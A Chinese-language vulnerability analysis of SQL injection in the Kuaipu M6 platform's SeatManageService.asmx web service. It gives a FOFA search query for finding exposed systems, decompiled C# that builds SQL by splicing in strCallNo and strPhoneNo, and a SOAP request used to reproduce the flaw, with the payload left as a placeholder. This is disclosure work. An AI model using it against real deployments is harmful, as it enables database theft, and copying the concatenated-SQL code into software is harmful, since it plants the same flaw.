漏洞简介
快普M6整合管理平台的WebService/SeatManageService.asmx接口下多个方法存在SQL注入漏洞。攻击者可通过构造恶意SQL语句,绕过参数过滤机制,实现对数据库的任意查询、修改或删除操作,甚至可能获取系统控制权限。
影响版本
fofa语法
body="Resource/JavaScript/jKPM6.DateTime.js"
漏洞分析
根据漏洞通告,看下 WebService/SeatManageService.asmx 里的cs引用
<%@ WebService Language="C#" CodeBehind="SeatManageService.asmx.cs" Class="KPMIIS.Web.WebService.SeatManageService" %>
ok,根据引用去找到bin目录下的KPMIIS.Web.dll文件,反编译后找到WebService下的SeatManageService实现
public class SeatManageService : System.Web.Services.WebService
{
[WebMethod]
public string GetCallInfo(string strCallNo)
{
DataSet dataSet = Gateway.Default.FromCustomSql($"SELECT A.CManName,A.CPosting,C.CustName FROM dbo.Common_CustomerLinkman A LEFT JOIN COMMON_CustomerToLinkMan B ON A.CManId=B.LinkMan_ID LEFT JOIN dbo.Common_Customer C ON C.CustId=B.CUSTOMER_ID WHERE A.COfficeTel1 LIKE '%{strCallNo}%' OR A.CMobile1 LIKE '%{strCallNo}%' ORDER BY B.IS_IMPORTANCE_LINKMAN DESC, B.IS_IMPORTANCE_CUSTOMER DESC").ToDataSet();
public string GetCustInfo(string strCallNo)
{
DataSet dataSet = Gateway.Default.FromCustomSql($"SELECT A.CManId,C.CustId FROM dbo.Common_CustomerLinkman A LEFT JOIN COMMON_CustomerToLinkMan B ON A.CManId=B.LinkMan_ID LEFT JOIN dbo.Common_Customer C ON C.CustId=B.CUSTOMER_ID WHERE A.COfficeTel1 = '{strCallNo}' OR A.CMobile1 = '{strCallNo}' ORDER BY B.IS_IMPORTANCE_LINKMAN DESC, B.IS_IMPORTANCE_CUSTOMER DESC").ToDataSet();
private void AddPhoneRecordInfo(
int intPhoneTypeId,
string strPhoneNo,
string strTelNumber,
string strStartTime,
string strEndTime,
string strPath,
int intTime,
string strUniqueId)
{
strPath = strPath.Replace("/", "\\");
string empty = string.Empty;
int num1 = 0;
CRM_PhoneRecordInfo model = new CRM_PhoneRecordInfo();
model.ACCOUNT = "";
model.IS_DELETE = new int?(0);
model.PHONE_TYPE_ID = new int?(intPhoneTypeId);
if (intPhoneTypeId != 3)
{
string[] strArray = this.GetCustInfo(strTelNumber).Split(new char[1]
{
','
});
model.CUSTOMER_ID = new int?(strArray[0].ToInt());
model.LINKMAN_ID = new int?(strArray[1].ToInt());
}
if (strPhoneNo.Length > 0)
{
int num2 = strPhoneNo.IndexOf('(') + 1;
int num3 = strPhoneNo.IndexOf(')');
if (num2 > 0)
strPhoneNo = strPhoneNo.Substring(num2, num3 - num2);
string sql = $"SELECT csi.STAFF_ID,csi.STAFF_NAME FROM COMMON_UserPhoneNo cupn LEFT JOIN COMMON_StaffInfo csi ON csi.USER_INT_ID = cupn.USER_INT_ID WHERE cupn.PHONE_NO='{strPhoneNo}'";
DataTable table = Gateway.Default.FromCustomSql(sql).ToDataSet().Tables[0];
三个方法 GetCallInfo、GetCustInfo和AddPhoneRecordInfo都是差不多的处理逻辑,其中都存在关键参数strCallNo、strPhoneNo,没有经过任何过滤或校验检查就被拼接进SQL语句中进行执行了,从而造成SQL注入漏洞,非常的朴实无华。
漏洞复现
漏洞复现,可以用过SOAPUI 或者 burp的Wsdler插件解析后直接测试
POST /WebService/SeatManageService.asmx HTTP/1.1
Host: kuaipu.mrxn.net
Content-Type: application/soap+xml;charset=UTF-8;action="http://tempuri.org/GetCallInfo"
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
<soap:Header/>
<soap:Body>
<tem:GetCallInfo>
<!--Optional:-->
<tem:strCallNo>SQLI_POC</tem:strCallNo>
</tem:GetCallInfo>
</soap:Body>
</soap:Envelope>

成功通过报错注入在响应回显数据库默认用户dbo
其他两个方法的sql注入也类似,只是需要的参数不同罢了,同时给接口还支持常规的GET、POST请求方式。

